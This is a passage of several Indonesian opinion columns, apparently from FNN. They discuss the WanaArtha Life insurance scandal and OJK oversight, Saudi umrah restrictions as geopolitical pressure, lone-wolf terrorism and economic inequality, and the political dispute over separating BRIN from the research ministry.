sudah cukup lama malang melintang di dunia asuransi, berdiri sejak tahun 1974. Berarti mereka telah hampir setengah abad (47 tahun) melayani masyarakat asuransi Indonesia. Lalu mengapa prahara Jiwasraya bisa menular ke WanaArtha Life? Serta apa saja sih yang selama ini dikerjakan oleh OJK? Padahal kita semua mahfum bahwa selama ini OJK-lah institusi negara yang berwenang serta berkewajiban mengawasi industri keuangan nasional. Bukankah OJK itu dibentuk memang dengan tujuan agar keseluruhan kegiatan di dalam sektor jasa keuangan bisa terselenggara secara teratur, adil, transparan, dan akuntabel? Juga agar mampu mewujudkan sistem keuangan yang tumbuh secara berkelanjutan dan stabil. Mampu melindungi kepentingan konsumen dan masyarakat? Dengan demikian, OJK punya fungsi dan tugas untuk selalu menyelenggarakan sistem pengaturan dan pengawasan yang terintegrasi terhadap keseluruhan kegiatan di sektor jasa keuangan. Baik itu soal perbankan, pasar modal, dan sektor asuransi yang dalam Industri Keuangan Non Bank (IKNB). Lalu kenapa kasus seperti WanaArtha Life bisa terjadi? Coba kita telusuri sejenak jejaknya. Dalam catatan Warta Ekonomi didapat keterangan, bahwa pada 21 Januari 2020 lalu, WanaArtha Life menerima informasi secara informal mengenai perintah pemblokiran rekening mereka. Manajemen WanaArtha Life pun melakukan klarifikasi kepada KSEI dan OJK. Kenapa rekening mereka diblokir? Lantaran rekeningnya diblokir, WanaArtha Life pun tak bisa memenuhi kewajibannya terhadap para nasabahnya. Lalu jadi kisruh dan ramai. Nasabah pun protes, dan masalahnya naik ke panggung publik. Presdir Yanes Matulatuwa menjelaskan, "berdasarkan hasil klarifikasi dari Kejaksaan Agung, kami mendapat konfirmasi benar bahwa rekening efek perusahaan dikenakan perintah pemblokiran terkait dengan penanganan suatu kasus hukum yang sedang dalam proses Kejagung". Pemblokiran itu terkait kasus hukum Jiwasraya. Bagaimana sampai ada kaitannya antara Jiwasraya dengan WanaArtha Life? Rupanya secara ringkas, manajemen WanaArtha Life ada ikut melakukan investasi di beberapa portofolio saham yang terkait dengan Benny Tjokro (tersangka utama Jiwasraya). Menurut versi Kejaksaan Agung, manajemen WanaArtha Life terkait dalam permainan saham bodong di yang dibeli PT Asuransi Jiwasraya. Konsekuensinya, demi proses penegakan hukum, maka dilakukan pemblokiran terhadap 800 rekening, termasuk milik para nasabah WanaArtha Life. Menurut Kejaksaan Agung, WanaArtha Life tak bisa lari dari tanggung jawab klaim asuransi yang macet sejak Februari 2020.. Menurut Hari Setiyono (Kepala Pusat Penerangan Hukum Kejagung) ada ditemukan bukti-bukti transaksi yang tak terbantahkan bahwa pada 11 Feb 2016 WanaArtha Life ikut dalam permainan saham MYRX (milik tersangka utama Benny Tjokro). Juga ada transaksi saham RIMO, BJBR, dan LCGP yang semuanya milik group Benny Tjokro, tersangka utama. Ada pula bukti aliran dana dari WanaArtha Life kepada tersangka Benny Tjokro tertanggal 26 Mei 2016 dan 7 Juni 2016. Masing-masing di kisaran Rp 175 juta dan Rp 69 juta. Akibatnya, Daniel Halim, Direktur Keuangan WanaArtha Life pun ikut diperiksa Kejagung selama dua hari berturut-turut, yaitu pada 29 dan 30 Januari 2020 lalu. Lalu berlanjut pada 11 Maret 2020 dilakukan pemeriksaan terhadap 24 saksi, termasuk 6 orang dari WanaArtha Life, yaitu Tjomo Tjengundoro Tjeng, Febiotesti Valentino, Kernail, Jenifer Handayani, Denny Suriadinata, Tommy Iskandar Widjaja, dan Daniel Halim. Lalu bagaimana cerita menurut versi manajemen WanaArtha Life sendiri? Kabarnya rekening sudah tidak diblokir, namun dananya masih dalam status sita OJK. Menurut Presdir WanaArtha Life, Yanes Matulatuwa, pihaknya berkomitmen menindaklanjuti permasalahan itu dan akan segera membayar kewajiban kepada pemegang polis secara bertahap serta menjamin bahwa seluruh manfaat polis yang merupakan hak pemegang polis yang ada di perusahaan dalam keadaaan aman. WanaArtha Life pun sempat mem-praperadilankan status pemblokiran dan penyitaan dana di rekening mereka. Namun ditolak (digugurkan) oleh pengadilan dengan alasan bahwa pengguguran itu untuk menghindari keputusan pengadilan yang tumpang tindih, dimana saat itu sidang Tipikor kasus korupsi Jiwasraya telah dimulai sejak 3 Juni 2020. Kuasa hukum WanaArtha Life, Erick S. Paat, balik berargumentasi bahwa ada kesewenangan yang dilakukan Kejagung dalam proses pembekuan rekening efek walau pada saat itu surat perintah penyitaan belum keluar. Singkatnya menurut Erick Paat, kliennya tidak ada sangkut pautnya dengan Sidang Tipikor Jiwasraya, lantara kliennya (WanaArtha Life) bukanlah berstatus tersangka. Sampai saat ini kasusnya masing berjalan. Seperti biasa, korbannya adalah para nasabah. Akhirnya para nasabah membentuk Forum Nasabah WanaArtha (Forsawa). Para anggota forum inilah yang akhirnya berteriak kesana-kemari. Seolah mereka yang jadi bumper (sekaligus korban) untuk dibenturkan ke OJK, dibenturkan ke Kejaksaan (pengadilan) dan sekaligus jadi semacam humas ke publik. Kasihan sekali sebetulnya para nasabah. Sudah jadi korban, dan akhirnya dijadikan bumper pula. Dari perspektif nasabah (dan ini yang juga seyogianya jadi fokus OJK serta manajemen WanaArtha Life), seyogianya klaim mereka (para nasabah) inilah yang mesti diutamakan. Bayarlah klaim mereka terlebih dahulu. Entah manajemen (sebagai penanggungjawab operasional perusahaan) mau mengusahakan dana talangan dari mana pun. Entah dari dana pribadi pemegang saham kek, ataupun dari pihak ketiga lainnya. Yang penting jaga kredibilitas di mata nasabah. Sementara itu OJK, iya OJK yang selama ini sudah lebih dulu meng-klaim dirinya sebagai regulator (pengatur rambu) di bisnis keuangan, pengawas jalannya operasi bisnis keuangan nasional dan sebagai pelindung konsumen bisnis keuangan nasional juga mesti ikut bertanggungjawab. Bagaimana tanggungjawab OJK itu? Sederhana saja. Segera perintahkan bayar kepada manajemen WanaArtha Life untuk membayar klaim nasabahnya. Matanya OJK mesti lebih melotot lagi untuk mengawasi tingkah laku manajemen demi melindungi konsumen. Seperti slogan yang terpampang jelas di laman resmi OJK, “Mengatur, Mengawasi, Melindungi Untuk Industri Keuangan yang Sehat”. Bagaimana manajemen WanaArtha Life mendapatkan dananya? Itu urusan manajemen (direksi serta komisaris) WanaArtha Life. Yang jelas, konsumen (nasabah) bukanlah bumper yang bisa dibenturkan kesana-kemari seperti permainan boom-boom-car di Dunia Fantasi. Penulis adalah Direktur Kajian Ekonomi, Kebijakan Publik & SDA Lembaga Kajian Anak Bangsa (LKAB).

Faksi Amerika Boikot Indoneia, Masa Nggak Ngerti Sih?

by M. Rizal Fadillah Bandung FNN - Menteri Agama (Menag) Yaqut Khalil Qaumas mengumumkan bahwa Pemerintah Arab Saudi tidak memberi izin jama'ah Indonesia untuk melaksanakan ibadah umroh meskipun sudah disuntik vaksin. Vaksin Sinovac yang tidak masuk standar yang direkomendasikan WHO. Wajah Menag tentu pucat, betapa buruk nasib bangsa ini di mata Arab Saudi. Coba direnungkan lebih dalam. Benarkah tingkat kesulitan melaksanakan ibadah umroh, sebelumnya haji 2020 untuk jamaah dari Indonesia ini hanya disebabkan oleh faktor vaksin semata? Sepertinya masih banyak faktor lain, sehingga Pemerintah Saudi Arabis cenderung mempersulit. Walaupun demikian, tentu saja alasan sebenarnya tak akan terungkap secara eksplisit. Stempel Pelanggaran HAM Bukti lainnya adalah, rencana pinjaman uang dari pemerintah Saudi Arabia kepada Indonesia yang ditunda. Entah sampai kapan penundaanya. Namun soal menunda pinjaman kepada Indonesia ini, ternyata bukan hanya pemerintah dari Suadi Arabai. Negara-negara faksi Amerika Serikat lainnya juga bersikap untuk menunda pinjaman. Negara-negara yang sudah pasti menunda pinjaman adalah Australia, Jerman, Jepang, Korea Selatan dan Arab saudi. Semuanya faksi Amerika Serikan. Sikap negara-negara faksi Amerika tersebut sangat terkait dengan kebijakan pemerintah Indonesia belakangan yang mengabaikan masalah-masalah demokratisasi, kebebasan berpendapat, kebebasan pers, Hak Asasi Manusia (HAM), korupsi dan lingkungan hidup. Arab Saudi kan faksinya Amerika Serikat di Timur Tengah. Masa masih budeg sih? Jangan-jangan memang tidak mau mengerti. Kenyaan ini jangan juga dipisahkan dari keluhan Menteri Keuangan Sri Mulyani tentang ruwetnya investasi dari luar ke Indonesia. Sebab hampir 90% investasi luar negeri di Indonesia itu masih dari negara-negara faksinya Amerika Serikat. Ditundanya bantuan bilateral dari negara-negara faksi Amerika Serikat, yang ditambah dengan sulitnya investasi dari luar negeri, semakin memperlihatkan kuatnya tekanan Amerika kepada pemerintahan Presiden Jokowi. Kenyataan ini semakin disempurnakan dengan pernyataan resmi Menteri Luar Negeri Amerika Serikat tentang delapan poin pelanggaran HAM yang terjadi di Indonesia. Kalau sinya-sinyal politik dari Amerika Serikat dan sekutu-sekutunya kepada Pemerintahah Presiden Jokowi ini tidak juga mau difahami, maka kemungkinan bakal ada tekanan yung lebih keras. Ciri dan karakter dari kekuasaan Partai Demokrat adalah menciptakan krisis ekonomi. Sebaiknya Jokowi belajar dari kejatuhan mantan Presiden Seokarno dan Seoharto. Peringatan Keras Dari Suadi Dua presiden paling kuat dan terlama berkuasa di Indonesia, Soekarno dan Soeharto jatuh saat Partai Demokrat berkuasa di Amerika. Soekarno jatuh saat Presiden Amerika dijabat Lyndon Johnson, dan Seoharto saat Bill Clinton. Soeharto dan Soeharto itu jatuh melalui krisis ekonomi, yang menumpangi keresahan masyarakat yang meluas. Sementara sikap Saudi Arabia sekarang sebagai peringatan itu, terkait beberapa hal. Pertama, Indonesia di masa Pemerintahan Jokowi ini kebijakan politiknya cenderung Anti Arab. Lewat kampanye Islam Nusantara, terlihat hendak memusuhi hal-hal berbau Arab. Para buzzer bayaran istana terus memojokkan dengan ustilah Kadal Gurun (Kadrun). Persis masa PKI dulu. Kedua, Menteri Agama bukan prototipe seorang memahami agama secara mendalam, apalagi ulama. Jauh dari yang layak dan pantas. Anti Wahabi dan Salafi yang tentu menyakitkan Saudi Arabia. Koboy sinkretisme dari faham keagamaan. Dari jaga gereja hingga doa campur-campur. Ketiga, pemerintah Indonesia membantai dan membenci ulama. Kasus Habib Rizieq Suhab (HRS) yang sedang berlansung di Pengadilan Negeri Jakarta Timur tidak lepas dari pemantauan Saudi. HRS yang sangat dihormati di Saudi, ternyata setelah pulang, dinistakan di Indonesia. Bahkan enam pengawalnya dibunuh sercara sadis oleh aparat negara. Keempat, gonjang ganjing calon Dubes Saudi yang ditunjuk Jokowi adalah Zuhairi Misrawi. Tokoh yang mengecam Saudi atas "pemerasan" devisa. Tokoh anti yang umroh dan menganjurkan pilihan ziarah kubur daripada umroh ke Saudi Arabia. Kelima, dalam konteks global, Saudi Arabia lebih dekat dan bersahabat dengan Amerika ketimbang Cina. Sedangkan Indonesia sedang akrab dan bermain-main dengan Cina. Vaksin pun dari Cina, Sinovac yang dianggap masih rentan bagi penularan Covid 19. Kualitas Sinovac yang diragukan dan bermutu rendah. Keenam, di samping HRS dan pimpinan FPI keturunan Arab yang dihabisi secara politik, Gubernur DKI Anies Baswedan pun terus menerus dimusuhi dan ditekan oleh Pemerintah Jokowi. Potensi untuk maju pada Pilpres ke depan dihalang-halangi secara masif. Semestinya Indonesia mengerti bahwa jamaah umroh telah menjadi korban. Sebelumnya jaah haji 2020 yang menjadi korban. Sejak awal lobby Indonesia terhadap Saudi selalu lemah. Apalagi kini di era Covid-19 yang terasa semakin babak belur. Harus ada perubahan kebijakan politik, jika hendak membantu umat Islam agar dapat melaksanakan ibadah umroh dan haji ke Saudi Arabia. Penulis adalah Pemerhati Politik dan Keagamaan.

"Lone Wolf" Itu

by Zainal Bintang Jakarta FNN - Aksi terorisme bom bunuh diri di Gereja Katedral Makassar, Minggu pagi (28/03/21) menewaskan sepasang suami isteri yang baru menikah enam bulan. Lukman Alfarizi(25) dan isterinya Yogi S. Fortuna (22). Keduanya pedagang roti kebab di Makassar. Di Jakarta Rabu sore (31/03/21) teroris “lone wolf” alias “serigala penyendiri” bernama Zakiah Aini (25), mahasiswi drop out sebuah perguruan tinggi swasta di Depok menyerang kantor Mabes Polri di Jakarta. Teroris perempuan bercadar hitam berbaju ungu itu diberondong peluru aparat keamanan Markas Besar Polri. Zakiah Aini tewas seketika di tempat. Zakiah Aini hanya sempat menembak-nembakanangin enam kali dengan pistol airsoft gun yang dipegangnya. Serangan serempak aksi teroris di dua kota besar, Makassar dan Jakarta yang hanya berselang tiga hari. Dua kejadian ini mendorong publik menyoal kehandalan mekanisme kontrol aparat keamanan terhadap sel-sel hidup teroris. Diketahui di bulan Maret berlangsung agenda rangkaian hari keagamaan kaum Nasrani yang dikenal sebagai “Pekan Suci” bagi pemeluk agama Kristen Katolik. Satu minggu penuh dikhususkan untuk merenungkan penebusan Yesus Kristus di kayu salib. Lima hari untuk ibadah atau misa. Dimulai dari Minggu Palma, Kamis Putih, Jumat Agung, Sabtu Suci atau Malam Paskah, dan Minggu Paskah. Namun, tidak terlihat adanya aparat keamanan yang terlihat sebelum terjadi ledakan di Gereja Katedral Makasar. Ramón Spaaij, Profesor di Victoria University di Melbourne, Australia, dalam bukunya “Understanding Lone Wolf Terrorism: Global Patterns, Motivations and Prevention” (2012) menulis, ada lima elemen pemotivasi “serigala penyendiri” memutuskan untuk menjadi teroris. Disebutkan, cenderung menciptakan ideologi mereka sendiri yang menggabungkan frustrasi pribadi dengan keluhan politik, sosial atau agama yang lebih luas. Menderita beberapa bentuk gangguan psikologis. Menderita ketidakmampuan sosial dalam berbagai tingkat. Mentransfer frustrasi pribadi ke "orang lain" yang transgresif. Cenderung menyiarkan niatnya untuk melakukan kekerasan. Eskalasi radikalisme “serigala penyendiri” menemukan jalan tol di ruang digital di era teknologi yang serba maya sekarang ini. Kehadiran media sosial memberi banyak kemudahan konsolidasi dan komunikasi senyap tanpa perlu kontak fisik. Mengurangi pertemuan di forum pengajian yang sudah mulai disusupi intel. Ada migrasi frontal dari pola institusional beralih ke personal. Kecanggihan teknologi digital menjadi rahmat terselubung. Dunia mendadak berubah dan memberi ruang sangat besar kepada pola aksi terorisme yang berbasis “serigala penyendiri”. Komunikasi sunyi lewat daring menjadi pupuk kesuburan doktrin ideologi radikalisme yang mereka hayati. Berbagai studi menyebutkan, melalui media sosial, emosi dapat terungkapkan jauh lebih ekspresif. Mudah tersebarkan. Sekali kirim pesan yang banyak, dalam sekejap penerimanya juga banyak. Pola komunikasi di ruang digital semakin memantapkan tekad jihad. Timbunan lumpur kemarahan dan kekecewaan mudah terhubung sesama individu frustrasi yang merasa senasib kelam! Ruang digital meminimalisir penggerebekan aparat atau pengintaian intelijen. Dunia digital yang lagi ngetren menjadi bursa pemasaran ide radikalisme di lingkaran generasi milenial. Khususnya yang merasa hilang bentuk. Terpapar kondisi ketidak-pastian hidup keluarga mereka yang serba kekurangan, baik dari segi materi maupun minimnya peluang ke akses pendidikan. Masa depan yang suram sebagai insan tidak berkecukupan di hampir semua bidang. Kondisi ini ikut menggiring generasi milenial memilih jalan radikal. Sebagai bentuk perlawanan atas tekanan yang diyakininya bersumber dari ketidak adilan negara atas distribusi hak-hak dasar mereka yang diamanatkan konstitusi. Eksibisi spektakuler keserakahan materi digelar terbuka pemilik modal besar. Menampilkan komposisi kehidupan nyata yang timpang dan menyakitkan. Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K) dalam laporannya menyebutkan 1% orang kaya di Indonesia menguasai 50% aset nasional. Separuh dari aset nasional hanya dikuasai oleh segelintir orang kaya di Indonesia. TNP2K memberi laporan akhir capaian kinerja mereka di Istana Wakil Presiden Rabu, (9/10/19. “Itu yang perlu dikoreksi,". kata Bambang Widianto,Sekretaris Eksekutif TNP2K Fenomena aksi terorisme belakangan ini di Indonesia menampilkan kemasan baru. Hadirnya generasi milenial perempuan muda menjadi aktor utama. Keperkasaan kaum feminine muda itu menggeser perlahan peran klasik teroris maskulin. Ketimpangan kondisi sosial ekonomi keluarga, dan deritanya lebih memukul kaum perempuan. Posisinya yang lebih banyak di rumah menjadi saksi hidup dan bagian tak terpisahkan penderitaan panjang yang mendera keluarga mereka secara ekonomi maupun sosial. Menurut sebuah riset pada 2020, pelaku teroris adalah generasi milenial, yang mendominasi lebih dari sepertiga populasi Indonesia. Generasi milenial Indonesia memiliki karakteristik antara lain kecanduan terhadap internet, memiliki loyalitas rendah, cuek dengan politik, mudah beradaptasi, dan suka berbagi. Kecanduan internet dan rendahnya loyalitas menjadi celah masuknya ideologi-ideologi tertentu, termasuk terorisme. Dalam psikologi, loyalitas merupakan kebutuhan individu untuk dapat meletakkan kesetiaan mereka terhadap sesuatu atau seseorang. Loyalitas terbentuk di usia 12-19 tahun, yaitu periode pembentukan identitas. Unit pertama yang berperan sebagai agen sosialisasi, keluarga memiliki peran menumbuhkan loyalitas tersebut melalui transmisi nilai-nilai yang diyakini. Jika keluarga gagal menumbuhkan loyalitas, anak-anak akan mencarinya melalui organisasi atau figur-figur karismatik di luar keluarga. Ketidakadilan Wajah Terorisme Peneliti Hukum dan Ham LP3ES sekaligus dosen Fakultas Hukum Universitas Brawijaya Malang, Milda Istiqomah mengatakan, ada peningkatan tren aksi teror yang melibatkan perempuan dalam beberapa tahun terakhir. Perlu langkah untuk mengetahui alasan di balik keputusan perempuan-perempuan tersebut bergabung dalam aksi terorisme. Milda menyontohkan black widow di Rusia usai kejadian Moscow Theater Hostage 2002. Saat itu, banyak perempuan melakukan aksi bom bunuh diri setelah menjadi korban pemerkosaan tentara dan pelecehan seksual. Mengesankan kurangnya perhatian dalam mengungkap alasan perempuan (muda) bergabung dengan jaringan terorisme di Indonesia, selain konteks jihad. Dalam konteks perempuan tersubordinasi, patut dijadikan sebagai elemen penting, guna mengetahui motivasi perempuan dalam terorisme. "Kalau kita melihat tren yang ada di internasional, salah satu penyebab perempuan gabung jadi teroris itu karena ada perasaan-perasaan yang terpinggirkan, diskriminasi, tidak mendapat keadilan," kata Mirdal. "Itu harus kita pikirkan bersama. Jika tidak, apa yang terjadi di konteks global juga akan terjadi di Indonesia," ujarnya di media awal April. Kehadiran “serigala penyendiri” menyasar perempuan muda merupakan early warning. Mendesakk perumusan skenario kontra terorisme yang lebih komprehensif. Lebih menyelam dan berkelanjutan. Harus lebih menitik beratkan kepada pembenahan akar masalah. Kepada sektor ketimpangan ekonomi yang akut dan sangat radikal. Elemen radikalisme dalam bentuk aksi terorisme, harus dibaca sebagai perlawanan atas ketidakadilan ekonomi. Ketidakadilan ekonomi adalah wajah lain dari terorisme. Faktor ini, yang belum terlihat menjadi agenda penting negara. Membiarkan “radikalisme” ketimpangan ekonomi tanpa pembenahan yang masif, akan menjadi lahan subur hadirnya setiap saat radikalisme lain yang diperankan para “lone wolf”. Mereka rela bertekad, meskipun terpaksa harus nekat untuk mengirim pesan kepada negara melalui kematian. Problematika fundamental bangsa ini adalah ketimpangan ekonomi yang sangat “radikal”. Sehebat apapun agenda doktrin-doktrin deradikalisasi yang digagas oleh negara, hampir dipastikan tidak akan merubah apa-apa. Selama peragaan ketimpangan ekonomi dibiarkan menganga lebar oleh negara, maka selama itu pula bibit-bibit terorisme akan bermunculan bak jamur di musim hujan. Sebab fakta itu melukai jiwa mereka yang terjerat dalam derita lingkaran hidup di kubangan kesengsaraan. Pertanyaanya, apa saja kontribusi konkret konglomerat pemodal kuat hitam, licik, picik dan culas selama ini dalam membantu skenario kontra terorisme? Sehingga memaksa negara harus membunuh setiap saat warganegara dengan peluru yang bersumber dari pajak rakyat? “Lone Wolf” adalah sebuah nyanyian sunyi tentang perlawanan dan kekalahan. Sama bahayanya dengan pandemi apapun, sangat sangat dan sangat memilukan dan mematikan nurani bangsa ini! Teman pengirim pesan via WhatsApp menulis pendek. Mengutip potongan lirik lagu Ebit. G. Ade “Kalian Dengarkan Keluhanku”. “Kemanakah sirnanya nurani embun pagi, yang biasanya ramah kini membakar hati, apakah bila terlanjur salah, akan tetap dianggap salah, tak ada waktu lagi benahi diri, tak ada tempat lagi 'tuk kembali…..!” Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

BRIN dan Kemenriatek Dipisah, Politis?

by Mochamad Toha Surabaya, FNN - Tak bisa dipungkiri. Keputusan Presiden Joko Widodo memisahkan Badan Riset dan Inovasi Nasional (BRIN) dari Kementerian Riset dan Teknologi (Kemenristek) mencerminkan dominannya pertimbangan politik dalam strategi pengembangan ilmu pengetahuan di Indonesia. Editorial Koran Tempo, Kamis (8/4/2021), menulis Kisruh BRIN ini bermula dari keinginan PDIP untuk ikut mendesain lembaga yang dirancang menjadi payung semua kegiatan riset dan inovasi di Indonesia itu. Di Dewan Perwakilan Rakyat, Fraksi PDIP memang aktif mengawal pengesahan Undang-Undang Nomor 11 Tahun 2019 tentang Sistem Ilmu Pengetahuan dan Teknologi, peraturan yang menjadi dasar pendirian BRIN. Namun, desain BRIN ala Fraksi PDIP itu rupanya tak cocok dengan rencana yang disiapkan Menteri Riset dan Teknologi Bambang Brodjonegoro. Akibat silang pendapat itu, Peraturan Presiden Nomor 74 Tahun 2019 yang menjadi dasar bukum struktur Kemenristek tidak kunjung diperbaharui ketika masa berlakunya berakhir pada 30 Maret 2020. Koran Tempo menilai, penetapan BRIN sebagai lembaga otonom tak bakal serta-merta menjadi solusi atas mandeknya riset dan inovasi di negeri ini. Apalagi jika Kementerian Riset dan Teknologi justru dilebur dalam ementerian Pendidikan dan Kebudayaan. Keputusan Jokowi itu malah bisa menjadi blunder besar bagi dunia penelitian kita. Rencana pemisahan BRIN dari Kemenristek ini jelas lebih didorong syahwat politik PDIP ketimbang motif memajukan dunia ilmu pengetahuan dan teknologi. Ditambah lagi rencana penghapusan Kemenristek dengan meleburkan fungsinya pada Kementerian Pendidikan dan Kebudayaan ini, keduanya merupakan langkah mundur dalam desain dan strategi kebijakan riset nasional kita. Dalam Surat Presiden Nomor R-14/Pres/03/2021 yang dikirim ke DPR terkait pembubaran Kemenristek dan pembentukan Kementerian Investasi, disebutkan bahwa jika pembentukan kementerian baru itu adalah untuk meningkatkan investasi di Indonesia. Menurut Dipo Alam, jika untuk menaikkan investasi butuh dibentuk kementerian baru di Kabinet, mengapa untuk memajukan riset justru dilakukan dengan cara sebaliknya, yaitu menghapus Kemenristek yang sudah ada di Kabinet?! Peneliti Pusat Analisa Perkembangan Iptek LIPI (1990-1993) itu mengungkapkan, secara kelembagaan BRIN dengan BKPM kurang lebih setara, yaitu termasuk Lembaga Non-Struktural (LNS) dan Lembaga Pemerintah Non-Kementerian (LPNK). UU Nomor 11 Tahun 2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi, yang menjadi dasar hukum pendirian BRIN, juga hanya memerintahkan pendirian BRIN saja, dan bukannya memerintahkan pembubaran Kemenristek. Jika pemerintah benar-benar ingin memajukan riset, sudah seharusnya BRIN tetap dibiarkan menginduk ke Kemenristek seperti yang sudah berjalan sejauh ini. Mendesain BRIN sebagai otonom di luar kementerian bisa membuat kabinet yang ada malah kehilangan efektivitasnya. Seperti disebut Koran Tempo, PDIP yang aktif mengawal pengesahan UU Nomor 11 Tahun 2019, menginginkan agar ketua umumnya didapuk menjadi Ketua Dewan Pengarah BRIN. Upaya untuk mendorong ke arah itu telah dilakukannya dengan menunggangi RUU Haluan Ideologi Pancasila (HIP) yang tahun lalu sempat menjadi kontroversi. Memang sangat ganjil, naskah RUU yang seharusnya fokus pada bagaimana melembagakan nilai-nilai Pancasila, jika kita periksa dengan seksama, ternyata banyak sekali memuat soal BRIN. Dipo Alam melihat, ada 5 pasal dalam RUU HIP yang secara tegas menyebut BRIN, yaitu Pasal 35, 38, 45, 48 dan pasal 49. Misalnya, bunyi Pasal 35 Ayat (2): “Untuk menjamin terlaksananya HIP dalam sistem nasional ilmu pengetahuan dan teknologi sebagaimana dimaksud pada ayat (1) dibentuk kementerian/badan riset dan inovasi nasional untuk menjalankan penelitian, pengembangan, pengkajian, dan penerapan, serta invensi dan inovasi yang terintegrasi.” Pasal itu cukup menjadi pertanyaan, mengingat perintah untuk mendirikan BRIN sebenarnya sudah tercantum dalam UU Nomor 11 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi yang telah diundangkan oleh Pemerintah sendiri sejak 13 Agustus 2019. Namun, hal yang sekilas menjadi pertanyaan itu masuk akal kalau kita menghubungkannya dengan Pasal 48 ayat (6) RUU HIP, yang berbunyi, “Ketua dewan pengarah sebagaimana dimaksud pada ayat (3) huruf a menjabat ex officio ketua dewan pengarah di badan yang menyelenggarakan riset dan inovasi nasional.” Sebagai “ketua dewan pengarah” dalam RUU HIP: ketua dewan pengarah dari badan yang menyelenggarakan urusan di bidang pembinaan ideologi. Sekilas, model kelembagaan ristek seperti ini sangat mirip dengan yang dipraktikkan Partai Komunis China (PKC) di China. Mengapa sebuah undang-undang yang seharusnya hanya mengatur sebuah badan tentang pembinaan Pancasila, bisa mengatur badan lain yang mengurusi riset dan inovasi naqsional, sebuah bidang yang bersifat sangat praktis?! Tepatkah menempatkan lembaga yang berurusan dengan soal riset di bawah kontrol sebuah lembaga indoktrinasi, yang notabene dipimpin oleh seorang ketua umum partai politik? Berbagai pertanyaan di atas, kian memuncak jika membaca Pasal 45 ayat (1) dan (2) RUU HIP, yang memberikan wewenang sangat besar kepada ketua dewan pengarah dalam mengontrol dan mengatur badan riset dan inovasi nasional. Padahal, jika kita membaca Perpres Nomor 74 Tahun 2019 tentang Badan Riset dan Inovasi Nasional, yang diteken oleh Presiden Joko Widodo pada 24 Oktober 2019, sama sekali tidak disebutkan adanya posisi dewan pengarah. Semua kewenangan atas BRIN yang dimiliki oleh ketua dewan pengarah tadi, sebenarnya bertabrakan dengan tugas dan kewenangan pimpinan BRIN yang telah diatur dalam Perpres. Pimpinan BRIN sendiri terdiri dari Kepala, Sekretaris Utama, dan para Deputi. Badan Riset Prof. Widi A. Pratikto, guru besar ITS yang pernah menjadi Dirjen Kelautan, Pesisir, dan Pulau-pulau Kecil (KP3K) semasa Prof. Rokhmin Dahuri sebagai Menteri Kelautan dan Perikanan bercerita tentang peran Badan Riset dan Ketangguhan Kementerian. Prof. Rokhmin memberikan misi diantarannya: 1. Pengelolaan KP3K 2. Menbangun Jejaring untuk Pengelolaan 3. Melakukan Jejaring Nasional dan Internasional. Dalam Leadership sebagai Menteri, Prof. Rokhmin memberikan bingkai arahan dan support kepada mereka ini sebagai Pelaksana melakukan hal operasional. Secara Nasional rasanya bisa pula Presiden kepada Para Menko dan Menteri-menterinya. Dalam Giat Kelautan maka Symphoni menjadi menarik dan Ekonomi bergerak bila seluruh Komponen dan Anak Bangsa terlibat. Diagram berikut Skema Program Mitra Bahari (PMB). Dalam Kewilayahan Provinsi dan Kabupaten/Kota, maka Tupoksi Implementasi Operasional KKP terkait Laut dan Pesisir bisa di-support melalui PMB tersebut di atas. Badan Riset di Kementrian adalah Perlu dan Startegis. Banyak hal terkait Future Engagement dan Development maka Badan Riset sangat diperlukan Kementrian. Untuk KKP misalnya, akan menjadi paradigma baru berbagai Kegiatan Kerjasama di luar ZEE yang akan dikelola. Tantangan dan Perumusan terkait Food Security dan Energy, maka Badan Riset amat sangat diperlukan. Dalam Agenda Nasional maka Kemendikbud dan Kemenristek penjaga Future Development dan Competitive Ness Bangsa dan Negara selama dijaga oleh Menteri yang Profesional dan Berpengalaman. Efesiensi dan efektivitas dalam operasionalisasi perlu dicermati. Terutama dengan berlakunya UU Nomor 23 Tahun 2014 tentang Pemerintahan Daerah (Pemda), maka peran Kementrian perlu dilihat dengan seksama. Inovasi dari Kemenristek dan Kemendikbud sangatlah erat. Dampak dari dua Kementrian ini dengan Stabilitas Perekonomian Negara amatlah besar. Pendidikan mengandung Investasi di mana Leadership sorang menteri diperlukan, demikian pula Kemenristek. Motivasi adalah perilaku Contoh. Dua Menteri tersebut di atas bukan sekedar Kepala Kantor namun Inspirator, Motivator, dan paham atas kualitas dari proses Pendidikan dan Penelitian. Bebantuan dan Peningkatan Peran Propinsi perlu dilakukan seirama dengan berlakunya UU Nomor 23 Tahun 2014. Kemendagri segyonya banyak berkonsentrasi dalam hal ini terutama terkait tantangan baru VUCA (Volatilitas, Unceryainty, Complexity, dan Uncertainty). Seyogyanya Ristek dan Dikbud itu harus diperkuat dan terdepan. Beberapa mata kuliah dari Dikdasmen dan Perguruan Tinggi harus disiapkan. Perubahan dua mata kuliah perlu dilakukan untuk mengantisipasi VUCA tersebut dalam berbagai peri kehidupan. Tugas kita melakukan konsolidasi dan penyiapan operasionalsasi dan membantu Daerah Provinsi dan Kabupaten Kota dalam Pendidikan, Riset, dan Teknologi menghadapi VUCA. Sehingga patut melihat bahwa Kreativitas – Innovasi terkait dengan Pendidikan, Riset, dan Teknologi dan bukan berarti digabung namun diberdayakan. Dan, penyiapan operasi ke Propinsi mesti di-support. VUCA sudah di sekitar kita. Prof. Widi mengingatkan, jangan coba dan mencoba sebelum berhitung atas konsekwensi dan resiko. Inilah perenungan nasib bangsa ke depan, untuk kembali ke lembaga-lembaga yang memiliki kadar mengawal sunatullah, kita untuk merubah ada akal melalui Pendidikan, Penelitian, dan Teknologi yang dilakukan dan dikerjakan. Penulis adalah Wartawan Senior FNN.co.id.

Kunci Surga Dipegang Gubernur Kalimantan Timur?

